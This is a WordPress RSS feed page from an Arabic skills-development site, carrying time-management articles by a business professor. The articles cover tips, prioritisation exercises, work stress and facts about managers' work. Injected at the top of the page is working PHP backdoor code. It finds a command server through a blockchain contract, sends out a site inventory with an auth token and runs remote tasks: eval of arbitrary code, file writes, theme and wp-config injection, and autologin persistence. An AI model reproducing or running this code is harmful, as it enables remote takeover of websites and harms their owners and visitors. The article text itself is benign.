// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); مهارات شخصية Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Tue, 01 Aug 2023 17:25:58 +0000 ar hourly 1 https://wordpress.org/?v=6.3.10 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثامنة https://cameknowledge.camecenter.com/articles/time_management-08/ https://cameknowledge.camecenter.com/articles/time_management-08/#respond Sat, 01 Apr 2023 14:31:19 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10320 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الثامنة عشرون نصيحة من أجل إدارة ناجحة للوقت : وضح أهدافك أولا ثم أكتبها ثم ضع الأولويات و تأكد أنك ستحصل على ما تريد تحقيقه في حياتك . ركز على الأهداف و ليس على الأنشطة . أن أهم أنشطتك هي التي تساعدك على […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثامنة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الثامنة

عشرون نصيحة من أجل إدارة ناجحة للوقت :

  • وضح أهدافك أولا ثم أكتبها ثم ضع الأولويات و تأكد أنك ستحصل على ما تريد تحقيقه في حياتك .
  • ركز على الأهداف و ليس على الأنشطة . أن أهم أنشطتك هي التي تساعدك على تحقيق أهدافك .
  • حدد هدفا واحدا على الأقل يوميا و حاول تحقيقة .
  • سجل وقتك دوريا حتى تستطيع تحليل كيفية استخدامك لوقتك و حتى يمكنك استبعد عادات إضاعة الوقت السيئة من حياتك .
  • حلل كل شئ تقوم به نحو تحقيق أهدافك . اعرف ماذا تفعل ، و متى و لماذا تقوم به ، و اسأل نفسك دائما ماذا سيحدث إذا لم يتم هذا العمل ، فإذا كانت الإجابة لا شئ توقف عن العمل فورا .
  • استبعد أسبوعيا على الأقل سببا قويا يضيع وقتك .
  • خطط وقتك وضع خطة لكل أسبوع ثم اسأل نفسك عما تتمنى تحقيقه في نهاية الأسبوع وما يجب أن تفعله لتحقيق ذلك .
  • اكتب قائمة أعمال يومية وتأكد أنها تشتمل على أهدافك اليومية والأولويات والوقت الذي تقدره لكل ولا تعتمد على النشاط الارتجالي .
  • ضع جدولا لمواعيدك يوميا حتى تتأكد أنك تحقق الأشياء الهامة أولا ، ولا تنسى أن تترك وقتا للأشياء الغير متوقعة والمقاطعات ولكن تذكر أن الأشياء التي وضعتها في جدولك يجب أن يتوافر لها أفضل الفرص لتحقيقها وليس تلك الأشياء التي لم تضعها بجدولك .
  • تأكد أن الساعة الأولى من عملك اليومي منتجة .
  • ضع حدوداً زمنية لكل عمل تقوم به .
  • خذ وقتا كافيا لأداء عملك جيدا من المرة الأولى بدلا من تضييع الوقت في الإعادة .
  • استبعد المشاكل المزمنة من حياتك ، و اعرف لماذا استمرت هذه المشاكل في مسارها الخاطئ وتعود أن تبدأ بالفعل بدلا من رد الفعل .
  • خصص ساعة هادئة كل يوم _ أو وقتا لا يعترضه العمل ، للتفكير في أعمالك الهامة .
  • يجب أن تنمى عادة الإنهاء من العمل الذي بدأته ولا تقفز من عمل بدون أن تنجزه إلي عمل آخر .
  • حارب التسويف وتعلم كيف تنجز عملك الآن .
  • اجعل الإدارة الجيدة للوقت عادة من العادات اليومية ، ضع أهدافك ووضح الأولويات ثم ضع خطة وجدولا لوقتك ، وقم بالعمل حسب الأولويات ، قاوم رغبتك في عمل أشياء خارج الجدول أعد مراجعة أعمالك بإستمرار .
  • لا تقضى وقتك مع الأشياء ذات الأهمية البسيطة في الوقت الذي تستطيع أن تقضى هذا الوقت في أعمال ذات أهمية أكبر .
  • خذ وقت خاص لشخصك ، وقت للأحلام ، وقت للاسترخاء ، وقت للحياة .
  • نم فلسفتك الشخصية عن الوقت _ ماذا يعنى الوقت لك وكيف يرتبط بحياتك؟

 

تمرين

تحديد الأولويات

مطلوب ذكر أمثلة من واقع عملك اليومي لكل مما يلي :

1- ثلاث مهام هامة جدا تهم عملك و لا يمكن تفويضها .

2- ثلاث مهام هامة و لكن يمكن تفويضها لغيرك .

3- ثلاث أعمال روتينية يجب أن تقوم بتفويضها .

 

سجل النتائج التي تتوصل إليها هنا :

…………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………….

 

و الآن … أقرأ هذا المثال :

مثال على تحديد الأهداف و الأنشطة الرئيسية في الوظيفة

الهدف :

أحقق رضاء نفسي بكوني معلما ناجحا.

ملخص عام :

التدريس في كلية التجارة جامعة القاهرة.

         الأعمال الرئيسية        النتائج التي يمكن قياسها
*التحضير بدقة متناهية لمحاضرة جيدة.

*تحديد الوحدات المعرفية التي يتم تغطيتها في كل محاضرة.

*تحديد قائمة بالمراجع للطلاب تستخدم للأعداد لكل وحدة معرفية .

*ترتيب زيارات ميدانية للطلاب .

*تزويد الطلاب بمجموعة من الأسئلة للمناقشة في نهاية كل محاضرة .

*عمل مراجعة لما تم في المحاضرة السابقة قبل بدء المحاضرة الجديدة.

*أخطار الطلاب بالأحداث الاجتماعية و القومية المرتبطة بالمادة العلمية التي أقوم بتدريسها .

 *نسبة المواظبة على الحضور 75% فأكثر .

*قيام الطلاب بالتفاعل معي بإبداء أسئلة و استفسارات .

*قيام الطلبة بحل جميع الواجبات المنزلية و تقديمها في الميعاد .

*اشتراك الطلاب في المناقشات .

 

هل معنى أن الأعمال الرئيسية قد تحققت ؟ و أن النتائج الرئيسية قد تحققت ؟ وأن هدفك قد تحقق؟.

 

المتوقع س2(التباين)
18 (20-16)2

6
12 1,
12,3 1,8
7 2,8
17,7 -,1
14 -,1
9,8 7,

 

ثانياً : الحقائق العشرة عن عمل المدير :

قام فريق من الباحثين بمركز القيادة الخلاقة بالولايات المتحدة بدراسة شاملة و مراجعة دقيقة لعدد كبير من الدراسات المتعلقة بالإدارة لتحديد الملامح الأساسية لعمل المدير و توصل الفريق إلى عدد من التعميمات بخصوص عمل المدير أهمها الحقائق العشرة عن عمل المدير ، وهى كما يلي :

1- المديرون يعملون ساعات طويلة:

يعمل المدير عادة ساعات طويلة _ أطول من الساعات التي يعملها غير المديرين ، وقد تصل الساعات التي يعملها المدير إلى 90  ساعة في الأسبوع في بعض الحالات و لاحظوا أيضا أنه من تزايد نجاح المدير يزداد عدد الساعات التي يعملها و ليس العكس .

2- المدير مشغول جدا:

بالإضافة إلى أن المدير يعمل ساعات عمل طويلة ، فأنه يفعل أشياء كثيرة مختلفة و تعدد بعض الدراسات أكثر من مئاتي شئ مختلف يمكن أن ينشغل بها المدير في يوم عمل واحد ، و يلاحظ أن المشرف أو رئيس القسم لا يكاد يجلس بدون مقاطعة أو تحدث لمدة دقيقة واحدة في اليوم العادي , غير أنه لحسن الحظ فإن معدل النشاط والتشتيت يقل مع ارتفاع المدير في درجات السلم الإداري

3- عمل المدير متقطع :

و كما هو متوقع مع ارتفاع عدد و تنوع الأشياء التي يهتم بها المدير  فإن إهتمامه بأي شئ أو موضوع منها لابد أن يكون لفترة قصيرة جدا ،ولابد أن يكون متقطعا ، فلا تكاد تتاح له الفرصة للاهتمام بموضوع أو شئ واحد لفترة معقولة ، ولابد بالتالي أن تفتقر اتصالاته مع الآخرين للاستمرار وإتمام ،وليس على شخص يمكن أن يكون فعالا في ظل هذا الجو من العمل .

4- عمل المدير متنوع :

يمكن تمييز خمسة أنواع أساسية في عمل المدير في اليوم العادي: أعمال ورقيه _ إتصالات تلفونية _ إجتماعات ومقابلات محددة مقدما _ إجتماعات ومقابلات غير مخططة أو غير رسمية _ زيارات وجولات متابعة وتفتيش ،ويعطى ذلك صورة تقريبية عن مدى التنوع في عمل المدير ،أضف إلى ذلك أن المشكلات المطروحة بحد ذاتها متنوعة إلى حد كبير جدا وتحتاج من المدير قدرة عالية على تغيير إهتمامات وإتجاهات تفكيره بسرعة كبيرة .       

5- المدير ينشغل بإدارته :

حيث يقضى المدير معظم وقته بالإدارة التي يرأسها . وكلما إرتفع مستوى المدير نلاحظ أنه يقضى وقتا أطول على مكتبه بالمقارنة بالتنقل بين المرؤوسين .

6- عمل المدير أساسا شفوى :

أكثر من نصف عمل المدير في الإدارة المباشرة والوسطى يقضى في إتصالات شفوية وترتفع النسبة أعلى في مستويات الإدارة العليا .حتى أن 90% من وقت كبار المديرين يقضونه في التحدث . وأغلب اتصالاتهم الشفوية تكون في مواقف وجه لوجه والقليل منها على التليفون .

7- إتصالات المدير بالآخرين كثيرة :

     يميل المديرين إلى الإتصال المستمر بالآخرين . ويميلون إلى الإتصال والتواجد مع مرؤوسيهم أكثر من رؤسائهم . فهم يشرفون على الآخرين أكثر مما يشرف عليهم كذلك يقضى المدير وقتا كبيرا في الإتصال والتفاعل مع الزملاء وتزداد نسبة الإتصالات مع أشخاص من خارج القسم وخارج الشركة كلما إرتفع المدير في المستوى الإداري .

8- المدير ليس مخططا مفكرا :

وذلك بسبب أن المديرين لا يتركون وحدهم إلا نادرا . فأنه ليس لديهم في الواقع وقت طويل يقضونه في التفكير والتخطيط . أنهم ببساطة مشغولون جدا ويمكن أن تمر أسابيع دون أن تتاح للمدير فرصة ولو 1/2 ساعة هدوء دون إزعاج أو مقاطعة ليفكر ويخطط . والوقت الذي يقضيه المدير وحده عادة يقضيه في القراءة والكتابة . وكمية المراسلات والأعمال الورقية والتقارير المرفوعة من الرؤساء – وما إلى ذلك – كبيرة للغاية والنتيجة أن المدير في العادة لا يقضى أكثر من 5% من وقته في التفكير والتخطيط والتأمل في عمله .

9- المعلومات جزء أساسى في عمل المدير :

يقضى المدير نحو (1/2) نصف وقته في الحصول على المعلومات وأقل من (1/4) ربع وقته في إتخاذ القرارات وتقييم الأفكار ووضع الإستراتيجيات .

10- المديرون لا يعرفون كيف يقضون وقتهم :

فإذا سألت أي مدير فيما يقضى وقته . فإنه غالباَ سيعطيك إجابة يعتقد هو أنها دقيقة ، في حين أن أي تحليل دقيق لكيفية قضائه لوقته تكشف أنها صورة غير صحيحة فالمديرون عادة يميلون إلى المبالغة في تقدير الوقت الذي يقضونه في الإنتاج والإطلاع والكتابة والتفكير والمكالمات التليفونية في حين يقللون الوقت الذي يتصورون أنهم يقضونه في الإتصالات والتحدث في المناقشات الرسمية وغير الرسمية .

*   *   *

انتهت بحمد الله المقالة الثامنة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثامنة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-08/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السابعة https://cameknowledge.camecenter.com/articles/time_management-07/ https://cameknowledge.camecenter.com/articles/time_management-07/#respond Sat, 01 Apr 2023 13:47:37 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10318 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة السابعة ضغوط العمل ثالثاً : إدارة ضغوط العمل . يهدف تناول هذا الموضوع إلى ما يلي : تعريف المشاركين بأنواع ضغوط العمل – الداخلية والخارجية –المختلفة ،التي يتعرض لها المديرون أو الأفراد . توضيح أثر هذه الضغوط على أداء المديرين الأفراد ، وبيان […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة السابعة

ضغوط العمل

ثالثاً : إدارة ضغوط العمل .

يهدف تناول هذا الموضوع إلى ما يلي :

  • تعريف المشاركين بأنواع ضغوط العمل – الداخلية والخارجية –المختلفة ،التي يتعرض لها المديرون أو الأفراد .
  • توضيح أثر هذه الضغوط على أداء المديرين الأفراد ، وبيان مدى تأثيرها قدراتهم على حسن استغلال وقتهم .
  • إكساب المشاركين مهارات إدارة ضغوط العمل ،للحد من تأثيرها على قدراتهم في ترشيد استخدام وقتهم .

أثر الضغوط على الوقت

     تلعب الضغوط التي يتعرض لها الفرد – سواء أكانت في العمل ( داخلية ) أو كانت نابعة من البيئة المحيطة بالعمل ( خارجية )- دورا كبيرا في التأثير على استخدام الوقت .

     فالعوامل أو المتغيرات المتحكمة في بيئة العمل الداخلية – المتعلقة بالرؤساء والمرؤوسين ، والاتصالات ،وتفويض السلطة ،والعلاقات مع الزملاء ، والأزمات أو المفاجآت ،والاجتماعات وغيرها –تشكل مجموعة من الضغوط الداخلية التي تؤثر على تخطيطك وتنظيمك لوقتك .

     والعوامل أو المتغيرات المتحكمة في البيئة الخارجية للعمل والتي تضم متغيرات سياسية وقانونية واقتصادية واجتماعية وثقافية تشكل من ناحية أخرى ضغوطا من نوع آخر على تخطيطك وتنظيمك لوقتك .  

 

 أنواع الضغوط التي تؤثر على إدارة الوقت

 فيما يلي أهم أشكال الضغوط الداخلية و الخارجية التي تؤثر علي إدارة الوقت.

1- الضغوط الداخلية  :

وتأخذ الضغوط الداخلية المؤثرة على إدارة الوقت صوراً متنوعة منها ما يلي:

ضغوط من جانب الرؤساء:

   -التكليف بحجم عمل إضافي.

   -الاتصالات التليفونية.

   -الاجتماعات و المقابلات.

   -مصاحبة الرئيس أثناء الزيارات أو المناسبات أو الحفلات.

   -غياب الرئيس المباشر.

   -عدم تفويض مناسب للسلطة من جانب الرئيس.

ضغوط من جانب المرءوسين:

   -عدم القدرة على الإنجاز.

   -قصور وإهمال في العمل.

   -شكاوي.

   -حوادث/إصابات عمل.

   -نزاعات وخلافات.

   -غياب وأجازات.

ضغوط ناتجة عن طبيعة وظروف العمل:

   -عدم ملائمة طبيعة العمل وعناصره.

   -عدم ملائمة مكان العمل.

   -الصراع على الدرجات والترقية.

   -العلاقات الشخصية في العمل.

ضغوط ناتجة عن التنظيم:

   -عدم وضوح العلاقات التنظيمية وتداخل الاختصاصات.

   -عدم توزيع السلطات والمسؤليات بشكل متوازن مما يجعل القدرة على مواجهة الأعباء في بعض المواقع مما يجب.

   -عدم التنسيق الكافي بين الإدارات ولأقسام.

   -تعدد الإشراف.

   -كثرة اللجان المنبثقة.

   -المركزية الشديدة وعدم وجود التفويض المناسب.

 

ضغوط ناتجة عن التخطيط :

   – سوء التخطيط.

   – عدم وضوح الأهداف والسياسات.

   – عدم توافر البيانات الكافية والدقيقة.

   – عدم معالجة البيانات بالطرق السريعة والدقيقة.

   – تعدد الخطط وتضاربها.

ضغوط رقابية:

   – تعدد جهات الرقابة الداخلية.

   – عدم وضوح المعايير الرقابية.

   – غياب المعايير الرقابية.

   – عدم استخدام أساليب الرقابة الحديثة.

   – الرقابة الشديدة والتدقيق المطول.

 

الضغوط الخارجية:

من الضغوط التي تؤثر أيضاً على إدارة الوقت ما يمكن تسميته بالضغوط الخارجية والتي تضم:

   – جماعات الضغط في البيئة المحيطة بالمنظمة مثل(جماعة حماية المستهلك، وجماعات حماية البيئة…إلخ) .

   -الرأي العم للجماهير.

   -الإعلام.

   -أجهزة الرقابة الخارجية المتعددة.

   -الأسرة ومتطلباتها.

   -العلاقات الاجتماعية والعائلية. 

 

الاستخدام الفعال للوقت

رابعاً : خطة الإستخدام الفعال للوقت .

هذه الجلسة :

   تهدف هذه الجلسة إلى :

  • تعريف المشاركين بالمبادئ والأساليب التي يمكن أن يحددوا بها أسلوب تمضية وقتهم في العمل .
  • تزويد المشاركين بالمبادئ الخاصة بترشيد استخدام الوقت وتحديد متطلبات تنظيمه وإدارته بفعالية .

ما يجب أن تعرفه و ما سيناقش خلال هذه الجلسة :

كيف يمضى الوقت ؟

    كل منا يمتلك (24) ساعة يوميا والسؤال الآن :

   كيف يتم توزيع هذه الأربع وعشرين ساعة ؟

  وما هي المجالات الأساسية التي يتم فيها قضاء هذا الوقت ؟

  هل كل منا يمكنه أن يجيب بسهولة على هذا السؤال ؟

 

سوف نركز هنا على الوقت المخصص لساعات العمل لما يمثله ذلك من أهمية كبرى فيما يتعلق بالإنتاجية وخاصة في شركات البترول .

إن ممارسة الأعمال في شركات البترول تتطلب تنظيما فعالا للوقت ،لأنها تعمل داخل سوق عالمي متطور تحكمه المنافسة ويسيطر التقدم التكنولوجي المستمر على مختلف العمليات الإنتاجية والتسويقية فيه ،وإذا لم يكن هناك تنظيم فعال للوقت فقدت الشركة سيطرتها على الإنتاجية مما يقلل من دورها الاقتصادي مقارنة بالشركات المنافسة .

هل سألت نفسك …. كيف تمضى فترة ساعات العمل التي تقضيها يوميا في سمارك ؟

سوف نيسر عليك هذه المهمة ،

 وفيما يلي بعض الأنشطة التي نعتقد أنك قد قمت بها خلال يوم عمل :

  • مقابلة الرؤساء .
  • تحرير خطابات رسمية .
  • اجتماعات .
  • مكالمات هاتفية خاصة بالعمل .
  • مكالمات هاتفية لا علاقة لها بالعمل .
  • زيارات شخصية .
  • الصلاة .
  • زيارات ميدانية للمواقع .
  • جلسة مجاملة مع أحد الزملاء .
  • قراءة البريد .
  • قراءة تقارير .
  • ………….
  • ………..
  • …………
  • …………الخ .

     سوف يتضح لك أن هناك بعض المجالات التي لا علاقة لها بالوظيفة التي تؤديها وأن هناك مجالات أخرى تدخل بشكل أو بآخر ضمن متطلبات عملك اليومي .

     دعنا نحاول الآن أن نحدد المجالات التي يجب أن تقضى فيها فترة ساعات الدوام المخصصة يوميا للعمل .

 من الممكن تحديد هذه المجالات على الوجه التالي :

  • أعمال روتينية .
  • متطلبات الوظيفة .
  • مهمات خاصة .
  • العمل الإبداعي أو العمل الخلاق .

 

  • الأعمال الروتينية :

      ويندرج تحت هذه الأعمال جميع الواجبات الإدارية التي تأخذ شكل التكرار والروتينية ( يومية – شهرية – سنوية ) مثل الاطلاع على البريد الوارد وتصنيفه والتوقيع على كشوفات الأجور والمرتبات وتنظيم الأجازات السنوية للمرؤوسين …الخ ) ولا تشكل الأعمال الروتينية جزءا هاما من عمل المشرف . إلا أنها تتطلب بعض التفكير وبالتالي فهي تستحوذ على جزء من وقت المشرف ولا ينبغى أن تستحوذ الأعمال الروتينية على كل وقت المشرف وإلا فقد سيطرته على العملية الإشرافية بأكملها.

  • متطلبات الوظيفة :

     وتمثل أساسا العمل الخاص بوظيفتك الإدارية أو الفنية فتتناول المجال التخصصي فيها .

  • المهمات الخاصة :

     وهي تلك الأعمال التي لا توصف بالدورية ولا تدخل بطريقة مباشرة ضمن متطلبات الوظيفة التي تقوم بها كأن يعهد لأحد مسئولي الصيانة بأعداد دراسة خاصة حول تكاليف تشغيل آلة جديدة سوف يتم تركيبها في الشركة .

 

(4) العمل الإبداعي :

